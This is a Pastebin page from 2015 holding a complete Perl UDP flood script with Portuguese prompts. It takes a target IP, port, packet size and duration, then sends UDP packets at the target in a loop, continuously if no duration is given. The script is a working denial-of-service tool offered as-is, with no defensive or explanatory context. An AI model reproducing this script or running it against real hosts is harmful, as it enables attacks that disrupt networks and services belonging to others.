Advertisement
ZackFaker

Untitled

Nov 28th, 2015
365
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.06 KB | None | 0 0
  1.  
  2. #!/usr/bin/perl
  3.  
  4. ##########################
  5. # udp flood by paradoxuh #
  6. ##########################
  7.  
  8. use Socket;
  9. use strict;
  10.  
  11. if ($#ARGV != 3) {
  12.   print "flood.pl <IP> <Porta> <Pacotes> <Tempo>\n\n";
  13.   print " Porta = 0: Usar Portas aleatorias\n";
  14.   print " Pacotes = 0: Usar entre 64 e 1024 Pacotes aleatorios\n";
  15.   print " Tempo = 0: Ataque continuo\n";
  16.   exit(1);
  17. }
  18.  
  19. my ($ip,$port,$size,$time) = @ARGV;
  20.  
  21. my ($iaddr,$endtime,$psize,$pport);
  22.  
  23. $iaddr = inet_aton("$ip") or die "IP inválido: $ip\n";
  24. $endtime = time() + ($time ? $time : 1000000);
  25.  
  26. socket(flood, PF_INET, SOCK_DGRAM, 17);
  27.  
  28.  
  29. print "Atacando o IP e Porta $ip " . ($port ? $port : "random") . " com " .
  30.   ($size ? "$size-bytes" : "random size") . " de pacotes" .
  31.   ($time ? " por $time segundos" : "") . "\n";
  32. print "Pare o ataque pressionando Ctrl + C\n" unless $time;
  33.  
  34. for (;time() <= $endtime;) {
  35.   $psize = $size ? $size : int(rand(1024-64)+64) ;
  36.   $pport = $port ? $port : int(rand(65500))+1;
  37.  
  38.   send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement